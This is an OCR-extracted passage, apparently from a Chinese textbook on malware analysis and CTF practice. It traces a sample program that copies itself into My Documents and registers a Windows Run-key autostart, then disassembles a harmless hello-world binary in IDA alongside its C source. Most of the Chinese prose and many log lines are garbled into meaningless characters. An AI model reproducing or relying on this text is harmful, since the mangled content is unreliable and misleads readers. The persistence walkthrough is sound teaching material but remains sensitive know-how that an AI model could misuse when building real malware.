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Time of Day Frocess Hame FID Operation Fath Eeszult 2
23:22:49, 281, .. [Jsample_mal. eze %005 Bk CloseFile C:\Documents and Settings\NFMUser' [FiH] EH\EF A5 SUCCESS
23:22:49 282, .. []=sample_mal. eze 2008 Sk QuerrAttributel. . C:\Documents and Settings\XPMUser' [FF{E| HE\EF B0 exe SUCCESS
23:22:49, 282, .. [Jsample_mal.eze %008 Bk QuerrBasicInfor...C:\Documents and Settings\XFMUser' [FU| BE\EF\EEN0. eze SUCCESE
23:22:49. 284, .. []=zample_mal. eze 2008 Sk QuerrAttributel. .. C:\Mizample_mal. eze SUCCESS
23:22:49 284, . [ |sample_mal. eze 3Z00% Sk SetEnd0fFilelnf. .. C:\Documents and Settings\¥FMUser) [FME] BAVEF BN exe SUCCESS
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23:22:49. 284, .. [sample_mal.eze 300% Sk CreateFileMapping ©:\Mhysample mal. eze SUCCESRS
23:22:49 284, [Jzample_mal. eze 300% Sk WriteFile C:hDocuments and Setting='\XPMUszer' [FiE] FHEREFEMN0. exe SUCCESS
23:22:49, 285, .. []sample_mal.eze %008 Bk SetBasicInforma...C:\Documents and Settings\XFMUser' [FU| HE\EF\EEMN0. eze SUCCESS
2a:22:49. 285 .. J=ample_mal. eze 3008 acloseFile C:\Mhzample_mal. exe SUCCESS

Me#:22:49. 285, .. Jsample_mal.eze 3008 ShClozeFile C:h\Documents and Settings\XPMUsert [FF0E1 BEVEFYEEMNND. eze FUCCESS
2a:22:49. 285 .. J=ample_mal. exe 3008 ﬂKeECreateKer HECUh Software'\Microzofth\Rindows \CurrentVerzionhEzplorerhUser 2. .. SUCCESS %
< | >
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EH ABE | vASG | B &5 (ZE[A[2M

Time of Day FProcess Hame PID Operation Path Fezult f\_
Pa:22:49. 286, . . eZe 3008 3\ SetEnddfFilelnf. . . C:\Documents and Settings\XPMUser'Mr Documentshl. eze SUCCESS
23:2zo49, 287, ceze 3008 Bk CreateFileMappine C:\Wisample_mal.eze SUCCESS
29:22:49, 287, .. Cexze 2008 B\Querystandardln. .. C:h\Mhysample_mal. exe SUCCESS
3:22:49 287 .. _eze 300% ShCreateFileMapping C:4Misample_mal. exze SUCCERS o
23:22:49 287, .. Cexze 2008 B\'ﬁ‘riteFile C:h\Documents and Settings\XPMUser'Mr Documentshl. eze SUCCESS
23:22:49 287 .. _eme 300% Sk SetBasicInforma. .. C:\Documents and Settinesi¥FMUseriMr Documents'l. eze SUCCESS
25:22:49, 287, .. ceze 5008 ShCloseFile C:4Misample_mal. eze SUCCESS
23:22:49 287 ceme 2008 BhClozeFile CohDocuments and Settines\XPMUseriMr Documentsil. eze SUCCESS

TEEE =5 e e R s
3 gSetValue HELM', SOFTRAKE\Mi crosaft '\ Rindows\CurrentVersion'\Run'sample_mal SUCCESE
AT LERATARR . feret TR
23:22:49, 288, .. Cexze 2008 :3‘\ SetEnd0fFilelnf. .. C:\WINDOWS \=sr=stem32'confighsoftware. LOG SUCCESS
RPN - T . eEe 3008 -3\ ZetEnddfFilelnf. .. C:\RIFDOWS\srstem32heonfighsoftware. LOG SUCCE:RS
23:22:49. 288, .. CexZe 2008 rzi SetEnd0fFilelnf. .. C:\WINDOWS \=sr=stem32'confighsoftware. LOG SUCCESS
23:22:49 288 .. ceme 30085 @ RepCloseker HELM' SOFTRAKESHi crosoft Y RindowshCurrentVersion\Fun SUCCESS
25:22:49, 2388, .. .eze 3008 %}Quenﬂpen C:4Mysample_mal. eze SUCCESS |
< | >
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ERFEFLE
HKEY LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\Run H 1% | —/> 444 sample_mal FIyFEMFRDH -

HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\Run F1“J5 27 LRI —FE,  HrpyF i #E ¥ 27 Windows )5
B H 3hiE17 .

Windows HJ3 It} H#hia 47 BIRE A v LUENHE R 5IHE—TE MR R AL E
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current'
e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe
e HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current'

e HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe



Ak, AR IR T IELE C:\Documents and Settings\XPMUser\My
Documents H T, AR TS A NI 7 — 1404 1exe
A

= R
IHEE) R E) W) THET  FEBha

Q- © ¥ Pux xws @
Hihk 0 |5} et

=5F )

PR S :i/ %
9 R ET R

(%) wﬁbﬁ"l\j{#é’éﬁﬁﬂ

e =ik

A TRINTR B STRG” S R N 2
F1 0.exe —Ff, 1.exe tH & sample_mal.exe FfJ— A EI| A

T 1.exe HIEE O LM IEMAETE M 2
HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\Run Ff, F 4 Windows &35t < H 301247 1.exe.

NHEEANIKE — F Windows JEMRKIN A . {£H Windows H 7 [
regedit TRl n] IEEEME, mdifFa6 5 - 1817, HiA regedit Rl
CIF



& M |Z| [E] |z]
HHEE FEL FEW EEE FHo

- &-( PropertySysten Al & 2H T
(I3 Reinztall BELLY REG_SZ EHEFEE)
=17abili [aB]Gemplus Reader ... KEG_SZ C:%Program FilesiICBCEbankToolsiGemplusiGenSafe Librar. ..
gemstrmw EEG 52 C:WWINDOWS \swstem32hzemstrme. exe fr
ICBCEBa.nkAssist EE; 52 “CohWFrogram Files\ICECEbankToolsh\ICECSetupIntegrationh, . .
&8 Setup IMJ'PMIGE. 1 REG_S2 O AWINDOWSNIME S imjpS_LAIMTEMIG EXE™ fSpoil /Remidellef. ..
i [ Sharedills PHIMEZDEIZA REG_S2 C: AWINDOWS  sys tem32AIMEVTINTLGHT W TINTSETE. EXE FINEName
C: \WINDOWS  svstem32\IMEVTINTLGHT WTINTSETE. EXE FSYHC

{27 Shell Extensioms

[ ShellCompatibility

[ ShellSerap

[0 ShellSerwicelbjectDel —
[ SideBySide

15Dl v
< | =

FEAYEE e\ HEEY _[OCAL_MACHTHE'SOFTHARE'\Mi crozoft i indows\Current¥ersionhBun

I \Progam FileshICECEbankTool="GemplushGemSafe Librar. . .
C:\Documents and Settings'\XFMUzer'My Documentshl. exe
T ITOEran TILES L ammon T1Le \Jme. i

C:A\WIHDORS  spstem32\VEoxTray. axe

A FRANEM RN

A DL ILE M B BT EM T C:\Documents and Settings\XPMUser\My
Documents\1.exe X1 A %o

KL, S FRATTMIEE 0.exe Al 1.exe, 4 Windows & B g A2 Hiz

1T sample_mal.exe | .

HIZ, sample_mal.exe H <58 Hi—> Hello Malware! FIXJi5HE, FFXH
AT HAAE AT . Rk, FRATRZ B 3 Cff e, «“Wp TR B K
FEMRAFIEAIANS O MER, REHERRT U582k SRR
I

1.1.3 fFagidm T
@ TS5 RBRATAT LRI, sample_mal.exe F2/7 24T L T #4E
o BREM R UMEE R G E )G I B3hiaqT
o R B R 2«5 SR UMEE RS E G I B 3hisqT
TR AT M85, RIE3RATE I A7 2 H 2] Wireshark.
2R, HTAE IR EAIARITE Z 0 A B AR S AT BRI,

TN

PRI B 12 R ] B IS SR S B 3R HL S, T AN TR BB R R A



FHLF 1 -

& B TR A BEAT 0 A R R AT A TAR st e ) TR, 1
A TRE AR — OSSR AT o i, O RAMR TS rE, ik
AL % 2 K.

WA TR A TR IE I Pr R AL &3 BT LR s AT 15 DUORHE T HAliE 7
. TARIRERAR e v AT 09, (EAERIRE, 3R TR R R 2
B S g CREFLAS R 5 AU S Bl g8 5 AU Ja RS, BLAE
PR ES o A AT v S AR .

—HUK, FETHEAURE T B LA EEE BB DR, BAR
PP A 3 EE 1) UL e A AT 2 F B3 ) TREROR . —AA,
AEAEIT A B A I AR SR AR B, 10 ) TR & T 5 — s AN R 5
Heo BEAh, HIF0m TR & TR ATty B #s DS54, [
BE 2 H N 2 A BRI — T

TR e TR R R 3E

fE—EZ, BUFMRIAHX 42— L1 CTF (Capture the
Flag) NAGRMIE A TREFAR KIS, DS E B Z a2 R A .

e SECCON CTF (HA)
http://www.seccon.jp/
e DEFCON CTF ()
http://www.defcon.org/html/defcon-20/dc-20-ctf.html
e CODEGATE CTF (#i[E)

http://yut.codegate.org/

AR, R T RSB0, 55 AR U501 e 24 M2 4 50 3%
Bl IXEETEIRILA | AR 2L £ b TFEIE SR A 1) 10 ~ 20
A BMEHEARTE o


http://www.seccon.jp/
http://www.defcon.org/html/defcon-20/dc-20-ctf.html
http://yut.codegate.org/

RERZ IR IR G, EHEAGE A&, AXEIEER
ZI— T AREA



1.2 ZRFS O
1.2.1 S S i

A W TV ] KA Gy i 25 G BT A< 28 0 M W fp . 1] Bk
v, AT X AT .

o WM BT BN IE L AT A
o ZhAIIHT: 1EIBAT HARREFP I RIS HEAT 70 A

4 B AT 1%} sample_mal.exe AT 0 AT B 5 VR T3l 0. AHXS A,
A M EEAE LT T,

o [ B S AR
o FRIUAIPAT A B FAF R, AT A T WP L A i

M SCERE, F ZRERI g A m AT ST N 2t A DU E —
P S M

N, FATSERNT chap01\wsampleOla\Release H 7 51 72 /7
wsampleOla.exe AT #&7HT. wsampleOla.exe IZ 1745 B un T~ Fiw.

MESSAGE [X|

Hella! Windows

A wsample0la.exe 1121745 R

BATZ )G, AKX AFEF A 2 B E 78 T — Hello! Windows X
TEAE T 2o

Ao, RXAREFPE X A SR R 2 A RATEAF AT T



B, WATH —3tH gtE 23] /T wsampleOla.exe Ao AR YmAE 2814 A2
HIRZ NG HAFHT, Aol il gmERm AT mAL T. I£%
Heortrdr, ZitfgmiEss 2 ZMCKH B RN SRR, ik
miEan. TFEAY. I AR s 2 W TN REE, A
TEIXT7 AL A4 T HEMZE AR, B IFA 2 ME—FRE,

fE b g AR A T, PEBORAT I B LR PR
e Stirling
http://www.vector.co.jp/soft/win95/util/se079072.html
e BZ Editor

http://www.vector.co.jp/soft/win95/util/se032859.html

KA THRA IS A, KREHEFoth B#LNE I . &
RN T EAR LS 1, HIR g E IR —1ih, EH EGEL
Stirling, A5 rp i) P2 LU A Stirling NRTHRHEATH) (HLHTES
WEE .

¥4 Stirling 5 BZ Editor 1) [X 5|

WIIA B AT 142 3 “Stirling A1 BZ Editor X 4> T B %A B>, {HfEH
Stirling F A< AT DARAST K 2 201 Ot -

SR, R Stirling THRESRA, A AR 2 RGO, (AP RS
KIS 2L Z RINAE, BIIETERAL B LA GB R/

—CRUL, AT BT Nl 2id 2 LD B, BRI IE S R
i ] Stirling 5t 2% 7, ASid BZ Editor HAEETRANX — B &, ‘& A]
CLUBARFT RSO, 1 s B S gt

JREBS B RATER, ERSERFOA EX WA TARBYIESE
K, AR BRI R TIRE,  CRENE R A BE RS 1) ki 2
Bas. AT EBEML, REATR?


http://www.vector.co.jp/soft/win95/util/se079072.html
http://www.vector.co.jp/soft/win95/util/se032859.html

1.2.2 H Z#flgmE s aE M AS
T FATH Stirling 77 wsampleOla.exe &—F »

Hiw Stirling — [wsampleDla.exel

ot 7RALE REE  RE-iEEhE)

EEQ UMD ALINHY

- | &8 X

D | (| 2] 5 [%[(Co]3=] ab]4 [sn[o|gh |00

2|5 Crlow|] o] Sl

ADDRESS 00 01 02
""" R 00 00 00

pi== (0 00 00
gb 00 00
90 30 40
40 00 45
48 00 &h

754

04 05
00 00
20 74
A0 21
32 00
b3 00
6C 00
32 00
20 00
00 00
00 00
00 00
00 00
00 30
CE 07
01 00

FaTa T T B Y el

06
00
15
00
30
53
5C
00
57
00
00
00
00
40
FF
00

07 05 09 DA 0B OC 0D OE OF

00 00
4F 00
00 A0

00 00 00
00 00 00
OF 00 00
00 32 00
00 47 00

00 BF 00 21 00

00 65 00
00 GE 00
00 00 00
00 00 00
00 00 00
00 00 00
2240 00
Ao 3E 43
34 bC 44

FATE AT o Y el B B

00 00
02 00
38 30
00 00
45 00
2000

64 00
00 00
00 00
00 00
00 00
01 00
90 B6
bF 63

a0 00
a0 00
40 00
a0 00
a0 00
32:00
6C 00
6F 00
a0 00
a0 00
a0 00
a0 0o
a0 00
03 8B
7% 60

PATE oY sl o

0123456783AEC0EF &l

%Q ..... C ¥Docum 1

0x00000000 |

& |?1 5 Elytes

[SHIFT- 4

A H Stirling 47 7 wsample01la.exe [1] 11
H Stirling T/ wsampleOla.exe &, AR LUE 2| 5F = E R —5 -+

INEE AT X

Xijt/e Windows AT SCAFR L, RI“PE #% 207 SCHFA

7o KT PEMAMHAGEE, ol U E Ok E, A

X IRBANBEA T IRRACATRN,
XL R

E—F, HATHAETS KDL T IHIXE N,

o 7 £7H MESSAGE #1 Hello! Windows

o W fF%1% C:\Documents and Settings\XPMUser\My
Documents\Visual Studio
2010\Projects\wsample01a\Release\wsample0la.pdb

2 g%/\j{*ﬁﬁjﬁﬁf 17, ATEEHAR




o FF7H KERNEL32.dll. MessageBoxW

PRIt 2 SNEA HoAth— 227 R I AR AT A
KWH, SZUAERIX—BRAal LT

1.2.3 BRI GIE S HnT DLk A7 454

T oRIEATRIAE X wsampleOla.exe 347 I 5w o

AR ATE A IDA 5.0 Freeware fx (380D 1N RIC9s T H . Ak
XARARLE, R RCCRF A B g B b, i i — eI Re R, (2
BRI A, BRI n] DLl e Hof . THRAZRTER
2 DL 3%

REWAT LN i HTH 6.2 D em o i, AIEIXANCASA 8 A I 1] PR A o

B, ALEHEEA

il

e IDA 6.2 Demo version, IDA 5.0 Freeware version

http://www.hex-rays.com/products/ida/support/download.shtml

WA RF R BRI H 1R = ARE A, HHSCHERITAIRZ TR
KT HE, AR E LR — X A AT oot R IEAEIRA DRSS —
L

B4, ¥ wsampleOla.exe # . 2 IDA 1) &Ibr I, XG4 58— About
XTEHE, FATTH% OK ¥ 'e k]

PRk, 234 — Load a new file ¥1GHE, ) m A& NFT I8 E
R SCA

1X HL FA1 135 FE Portable executable for 80386 (PE), #AJ54% OK.
b8 5 Fl ek ot — 2oy R, RE R OK Wil A 1
&, IDA Sl — & .

FIL0AH—1 440 Names window HI & H, EEOAEFTIH, WREHEFT
JFHITE ] BL4% Shift+F4 $THF, B0 0] DL 738 B View — Open


http://www.hex-rays.com/products/ida/support/download.shtml

subviews — Names.

£ Names window & I H) & _F 772 78 wWinMain XN eRE 44, Wt
T
2Nk, IDA View-A & H £ s LAY,

Load a new file |E|

Load file C:A\Documents and Settings' P U zersMp Documentzivizual Studio

M5-005 eecutal:ule [ExE] [doz.Idw]
Binany file

Froceszor ype

Intel 80=86 processors: metapo W Sef

| Bnalysis——————

Loading zegment | (00000000

Enabled
Loading offset | 000000000 | Indicatar enabled
—Dption
Lreate segments [ F.emel optionz] ]
[ ] Load resources
Fename DLL entriez .
[ Manual load [ K.ermel options2 ]
Fill zegment gaps
b ake imparts zeqgment [ Processor options ]
] Create FLAT group

Spztem DLL directany ||::"~W|NDEI'W'5 |

L Ok J [ Cancel ] [ Help ]

A A IDA #7/F wsampleOla.exe (Load a new file)



,i': IDA - C:¥Documents and Settings¥XF MUser ¥My Documents¥ Visual Stu, Z010¥Projects¥waampled 1 a¥ Re e sse¥maamp el | 8 exe

File Edit Search \View Debugger Oplions Windows Help
G| - - [hHE[B][= & ¥4 -+x|asm e,
FEEEERT Y P ] B N[ 8T T AlE]
Bem[[m il v~ W x][[2- - wS UK~ 7]|: s22||us|[2A¥AA

mEe| SRR/ 44
v N ||| i N

3) 04 views | Z) HexViews | 3B Evperts | B Ingerts| M Mames | %7} Funcsons | =+ Stings | [ Shuchses | En Erese

B IDA View-A - 10%| []Mames window
Mo Addins -
F
F _secusity_chack_coakie [
F pot_cpp_ira O040T05C
F _manilRTSIahg M7
F pe_c_int D428
L wiinM snCRTStamup MNIE @
ributes: |ibrary functior < >
T Line 1 o4 127
public wiinMain(RTStartue 1
e
wiinMainlRTStartue proc near Etrngs nindon - |8X
—security_init_cookie At Langth T.. | Swng =
2
—*"‘_“‘mT-J*a”W ‘rdats0. 0000000 C  CA\Documents
wiinMain(RTStartup endo = datall, 0ODOODO O f——
= datwll. 00000000 C FERMWELIZ &
*.dstal..  000DOOOC C MenzageBlos/
* rdatall, 0ODOOOND [= GethctveWndo
* datacl).,  OODDOOOE C USERI2.0l
< = ) >
10000% =354-TH) | EMT50) 0007 DOA013X2 wikinMainC RTS trtup
Compiiing File 'CriProgram F11es\I0A Fresyidcylda, 1dc’ F
l:-ccr_u:lnu funcrion 'main’'
Compiling Pile 'Co\Program Files\IDA Fresyide\onload. ide’
Executing function 'Gnioad’
lt-n 15 analysing the input Tile
start to explors the input file Fight now.
Prup ATiRg type 1nMTormation.
401576: propagate_stkargs: mnsnoﬂ 13 already typed
an

A ] IDA FJJF wsampleOla.exe (5 HT7% 1)

W] DU R e g4, MR P IL $E Text view B{# /& Graph view,
AR EREE S, BRUALEN Graph view.

E DA View-A

;oint _stdeal | wilirMainCint, int ,LPCWSTR 1pStringl, int)
wilirMain proc near

[pStringl= dword ptr 10k

push ebp

Moy ebp, esp

Mmov eax, [ebp+|pStringl]

push  offset String? ; "20127

push  eax i IeStringd

call ds: implstromeWES 5 st rempll(x, %)
push 0 7 ulvpe

push  offset Caption ; "MESSAGE™
test £ax, eax
inz short loc_401035

¥ ¥
BN [ N Ll
push  offset Text i “Hellol 207127
call ds:imp_ Gethct ivellindow@0 ; Getdct ivellindow(I) | loc_401035: i "Hellol Windows™
push eax ; hiind push offset aHel loWindows
call dsi__imp__MessazeBoxll16 ; MessazeBosdl o, x,,x) ) |cal | dei_imp_ GetlctiveWindow@0 ; GethctiveWindow()
xor eax, eax push eax ; hiind
pop ebp call ds:_imp_MessazeBoxl@16 ; MessageBoxd(x, %, %, x)
retn 10k i IpCaption 0T eax, eax
fele ehp
retn 10k

100.00% (-23.807) o181} | 00000400 | 00401000: wilfinMain




A wWinMain PR & IC A0S (Graph view)

FEXANE T, IDA 2 Wos A KRB AL @ 25, s m
it o

WVFIR G 2V N LgRIE SR, HRAIER TIRZ THE, 2
Bt e FRARNCgIE S AR T, KEKEE IDA Lor il
KAPIC S8 5 A Rz BE I T

1.2.4 {EBCABEARLRITE O NS BT N

THEATKRE R wWinMain RRECE R 125, & 7 Hello! Windows-
MESSAGE. MessageBoxW 555478 LLAL, FRATIERER I N A 74T R .

o 2012
¢ IstrcmpW
o GetActiveWindow

HoAr Jt HAE /S -5k /& Hello! Windows il Hello! 2012 X NFE5H, B
TTREANFRR M7 B,

BATZRAE a2 AT 2012 1R V2 #0Kki247T — T wsampleOla.exes

\ X RwIN ]|

C:\>wsample@la.exe 2012

Hella! 2012




A 7] wsampleOla.exe 5% 5% 2012 J5 181745 R

MEZHAE AL, XK B R HREH S AR T Hello! 2012,
AIREA NE ] TR anf? AT 1 s A& 2012 XS4, 1%
FFRIRRE R KA, XIREZE. FARANITE T 2 BA AR )
BT, SR TR AT N,

XA ] TR

MIA XA SHRBAE N R A, Fe R E RS s 5 A0, 5T Lo

RIFAE T IstrempW X745 5 2012 My AT S H0HAT 1 HE R
(=

v wsampleQla.exe

00401000 ; int _ stdcall wWinMain(int,int,LPCWSTR 1pStringl,int)
00401000 wWinMain proc near

00401000

00401000 lpStringl = dword ptr 16h

00401000

00401000  push ebp

00401001  mov ebp, esp

00401003  mov eax, [ebp+lpStringl]

00401006  push offset String2 ; "2012"

0040100B  push eax ; lpStringl
0040100C call ds: _imp__ 1lstrcmpW@8 ; lstrcmpW(x,X)
00401012  push 0 ; uType

00401014  push offset Caption ; "MESSAGE"
00401019 test eax, eax

0040101B  jnz short loc_401035

0040101D  push offset Text ; "Hello! 2012"
00401022 call ds: imp__ GetActiveWindow@o ;
GetActiveWindow()

00401028 push eax ; hWnd

00401029 call ds:__imp__ MessageBoxW@1l6 ;
MessageBoxW(x, x, X, X)

0040102F xor eax, eax
00401031 pop ebp
00401032  retn 16h ; lpCaption

00401035 loc_401035:
00401035  push offset aHelloWindows ; "Hello! Windows"
0040103A call ds:__imp__ GetActiveWindow@o ;




GetActiveWindow()

00401040  push eax ; hind
00401041  call ds: imp_ MessageBoxW@1l6 ;
MessageBoxW(x, X, X, X)

00401047 xor eax, eax

00401049  pop ebp

0040104A  retn 16h

0040104A wWinMain endp

AR, FRATVE LGB gE ST . FORI A {5 B 3 ) g e

R — 4, R B — R BE 22 5 KM B A X BeA AL T A kvl L T

1.2.5  HHAEERF BIEACAY

& JE1EFA TR E — T wsampleOla.exe E IEFJJRACHY
(chapO1\wsampleOla ] wsampleOl.cpp) o« B iFiX B 75 B 22 28

Visual Studio. %7 Visual Studio %35 /7751 2 W%, S8 T ai{ 4

PE1E 2 L readme A

v wsampleOla.cpp

#tinclude <Windows.h>
#tinclude <tchar.h>

int APIENTRY _tWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)

if(lstrcmp(lpCmdLine, T("2012")) == 0){
MessageBox(GetActiveWindow(),
_T("Hello! 2012"), _T("MESSAGE"), MB_OK);
}else{
MessageBox(GetActiveWindow(),
_T("Hello! Windows"), _T("MESSAGE"), MB_OK);
}

return 0;




DIAE R K BEVS B R IDA ) SO g 45 R e ] 555 B 1

A — Ry )39 [r) AR VE g~ X LU Am] B IR, KRB S PO EATRME, (B
Sebr EIFARQIE. 5 IDA, 3RATTHUR] BURE n] $hAT SCAF B Bl & C 1R &
—HER MR (bR LIS RAZBERD KICHARY . JEHZEH Graph
view 433K, AT RAEBATH 0 ig it & R 7 1 70 SC8 8

HNE R E EERXE T R TR, RS0 LS AR 2 o)
PrifET .



1.3 ZRs& o

52 B Process Monitor 15 7€ £ |
TR, BATKRER—TFE&EST
X TES TS, 30 AE B AR 71847 10 R I BRER AT A
Jrik. TEIXEL, ATREA RS R T 2, RIS, TN
LG T AR NS 4T

o SREUCAFFIEM R VI IM H &

o YA 2% 4L
TN HE AR M —F chap01\wsampleO1b\Release H [¥) 7~ 51| F2 5

wsampleO1b.exe.

A 145K B —F wsampleO1b.exe [{Jiz4T 45 5H .

Copied!

A wsampleO1b.exe [z 17 45 R

XN E KRR B L EIR T —2 Copied! JHE, Lbr EEER
T AW? TATEAFIMNA Tﬁﬁzﬂ]ﬂ%ﬁ?éﬂiﬁ%n o

FATAT LLA Process Monitor K4 H 7~ 5127 wsampleO1b.exe HJiE 1T

N o

JA ) Procmon.exe Z J&5, o3 HITEMNIRE R O, RANMEXBEEN

wsampleO1lb.exe.

IR SR N B & 1, T LLE R Crl+L 8 s d s A i)



Filter — Filter....

M Process Monitor Filter @

Display entries matching these conditions:
|F‘r|:u:ess Marme W ||is W ”wsampleﬂlb.exe w | then |Inu:|u::|e " |
Column Felation | “Walus Action
[v] @ Process Mame f=3 wsample bexe Include
[ K ] [ Zancel ] Apply

A fE Process Monitor {3 JiE#H U + 1% B wsample01b.exe
FEE PEFIIN B i w] LA T S AP ACEL

X B FRAN A B S P S 24 3R 44 FR N wsampleO1b.exe Ff#r i H &7, %
B2 E BRI .

Process Name is wsample01b.exe then Include

MNP, %N Add $%HL, XM 2 #aas n ] R AR 4

WEITEH, s OK KRB R, 51217 wsampleOlb.exe.



& Process Nonitor — Sysinternals: www. sysinternals. com

File Bdit Ewent TFilter TTocls Opticns Halp
W ABE ([ vA® B A5 (DA

Time of Day Frocess Fame PID | Operatiom Path Result Detail Lot
23:55:42,632... _|wsample0ib. eze 4084 [ Process Start SUCCESS Parent PID: T... |=
23:55:42 632 .. [ weampleOlb. eze 4084 &5 Thread Create SUCCESS Thread ID: 2032 —
23:59:42.634. . . weample0ib, exe 4084 Bk QuerrMamelnform. .. C:\MiwsampleOlb. eze SUCCESS Hame: \Miwszam. ..
23:55:42, 634, . " wzample0lb. exe 4084 O Load Imace C:h\Miwsampl e0lb. exe SUCCESS Image Baze: 0. .
23:55:42 634, . :w:nmpleﬁlﬂa. eze 4084 Load Image C:\RIHDOWS, sr=tem22i\ntdll. 411 SUCCESS Image Base: 0...
23:55:42 634 wzampleOlb eze 4084 [ QuerrWamelnform. . C:\Miwsample0lb. eze SUCCESS Pame: \Mhwsam. . .
23:55:42 634 . .exe 4084 Btreatel"lle C:ARINDORS \ Prefet ch\WSAMPLEOLD. EXE-26. _ . MAME MOT FOUMD Desired Acces. ..
23:55:42, 634, , cexe 4084 B Reglpenker HELM'\ Softwre\Microzoft\Windows HT\Cu .. HAME HOT FOUMD Desired Acces. . .
23:55:42 634, cexe 4084 BCnatuFile C:\K EUCCESS Desired Acces. ..
23:55:42 636 . . .exze 4084 5 Load Image C:\RINDORS, sy=tem32\kernel 32, d11 SUCCESS Image Base: 0...
23:55:42 B3T. . . .exe 4084 ‘Re:ﬂnenﬁley . ek rentControl SetControl . . . SUCCESS Desired Acces. . .
23:5%5.42 83T, .eze <084 ‘nn:quarﬂrtlun S SAGE [£| rentControl Set\Contral, . SUCCESS Trpe: REG_DWO. . .
23:55:42,637. ., aze 4084 § RegClozeKer rantContralSet\Control, .. SWCCESS
23:55:42. 640 . . cexze 4084 5 Load Image Copiad! em32iuseriz. 411 SUCCESS Image Baze: 0.
23:55:42 640. . . ceze 4084 S5 Load Image em32\pdi32 411 SUCCESS Imape Base: 0.
23:5%5:42 B840, | .exe 4084 O Load Image em32\zhell 32 dll SUCCESS Image Baze: 0.
23:55:42, 640, , . .axa 4084 J§ Load Image am32\adrapi 32, 411 SUCCESS Image Base: 0...
23:55:42. 640 . . cexze 4084 5 Load Image em32irportd. 411 SUCCESS Image Baze: 0...
23:55:42 641 .. ceze 4084 S5 Load Image C:ARINDORS, sr=tem32 secur32. d11 SUCCESS Image Baze: 0.
23:55:42. 641 . . .exe 4084 O Load Image CARINDOWS  erstem32mavert. 411 SUCCESS Image Baze: 0.
23:55:42 641, , . caxe 4084 Load Image C:\RIHDOWS, srstem22h shlwmpi. dll EUCCESS Image Base: 0
23:55:42. 641 . eze 4084 Bk FileSrstenControl C:\K SUCCESS Control: FSCT.
23:55:42. 642 .. .eze 4084 :ﬂQu.eryODm Co\MYMSYCEL 00, 411 HAME HOT FOUMD
23:55.:42 642, | ceze 4084 B QuerrOpen C:ARINDORS  er=tem32\mever1 00, 411 SUCCESS CreationTime:. ..
23:55:42 642, caze 4084 Bk CreateFile C:\RINDOWRS  srstema2\meverl 0o, 411 SUCCESS Desired Accas. . .
23:55:42 642, . . .exe 4084 gCreateFilehppim C:\RIHDOWRS, srstem22\msweri 0o, 411 SUCCESS SrncTrpe: Sro. ..
23:55:42 642 . . .exe 4084 CreateFileMapping C:\WIHDORS,=srstem32\mswerion. d11 SUCCESS SrncTrpe: Sym .. W
Showing 426 of 155, 811 events (0. Z2TH) Backed by wirtual memory

A 1217 wsampleO1b.exe J-%i H H &

i&1T wsampleOlb.exe, Zx3ith—~5% Copied! HI{H BHE. 5t [FEIE,
Process Monitor 9 23541 H SO A1y IR U7 i) H 3.

W H&, A1 LA H wsampleOlb.exe Vil T LA R SO

C:\Documents and Settings\XPMUser\ [ FFf | SN\ FEF\ JH30\
wsampleO1b.exe

A1 sample_mal.exe 1RAZ N ?



=/ Process Honitor — Sysinternals: www. sysinternals. com
File Edit Ewent Filter Tools Options Help

FEH ABE <A =B M (HEB[NyM

Ti... Process Name FID Operation Path Eesult
23 Tlwzample0lb. eze 4084 2k QueryOpen C:4Documents and Setting=\KPMUzery [FFg] E8\FF\ 855 SUCCESS
23 :mampleﬂlb. eze 4084 ﬂﬁezCreateKey HECU\ Software'\Microsoft \Windows\CurrentVersion'\EzploreriShell Folders SUCCESS
23: “lwsample0ib. exe 4084 @ RegSetValue HECU'\ Software\Nicrosoft\WindowsCurrentVersion\EzploreriShell Foldersh\. .. SUCCESS
23 “lwsampleib. eze 4084 M RegCloseKer HECWh\ Software\Nicrosoft\Rindows\CurrentVersion\EzploreriShell Folders SUCCESS
2a:. —lwsamplaOib, exe 4084 A CreataFile CriMvmanple0lb. axe SUCCESS
23:... lwsample0lb, exe 4084 Sk Querratirvidutel. .. C:\M\wsanple0lb. exe SUCCESS
23! TlwsampleOlb, eze 4084 Sk QuerrStandardln . C:\M\wsampledlb. eze SUCCESS
23 :usampleﬂlb. exe 4084 Sk QuerrBasiclnfor. . C:\M\wsampledlb. exe SUCCESS
23 :_'sampleﬂlb. eze 4084 Sk Querrftreamlnfo. . C:'MiwsanpleOlb. exe SUCCESS
23:... _|wsample0lb.eze 4084 ZhQuerrBasicInfor. .. C:i\MiwsampleDlb. exe SUCCESS

- = . T T T =y
g w=amplellh, exe 84 ' CreateFile s \Documents and Setting=\NPMUser\ [ FHE] EA\BF\ B \wsamplellb, exe
i e & P Fe A R

23, fnnmnhnlb.t:e 4084 S CloseFile C:\Documents and Settings‘\XEMUser\ [FRH) JH\PRF 68 8h SUCCESS
23, —|wsample0ib, exe 4084 'E‘Quern'lttri'butel . C:4Documents and Settings\XPMUser\ [ AR BO\BF\ E & wampleilb, exe SUCCESS
281 TlwmamplaOlb. eze 4084 Sk QuerrBaziclnfor .. C:'\Documents and Settingz\KPMUser' [Fi8] B E\BF\ 88N wmanplellb, ez SUCCESS
23 “lwsampleOlb. exe 4084 S Querrattributel. .. C:\MiwsampleOlb. exe SUCCESS
28 :Ilsamnleﬂlb. exe 4084 S SetEnd0fFilelnf .. C:\Documents and Settings\NFWUser\ [Fri&] HA\EF\HE&\wsanplellb. exze  SUCCESS
2% “lwsamplellb. exe 4084 Sk CreateFileMapping C:'\Wiwsamplellb. exe SUCCESS
23 —lwsample0ib. eze 4084 Sk QuerrStandardin .. C:\M\wsampleDlb. exe SUCCESS
23:... _|wsampleOib. eze 4084 A CreateFileMapping C:\M\wsanpleOlb. eze SUCCESS
23, :-lnmpllnib.l:n 4084 A RriteFile c: \Dacu.mml: and Scttmu\HPl‘Un:'\ H-ﬁl IR, -ﬂﬁ\!h’s\numpuﬂlb. exe SUCCESS o
n = snns PBoa im e s A e C P wvihs e e ve sds P
< >
Showing 441 of 225, 833 events (D. 19%) Backed by wirtual memory

A <R B SOV ]

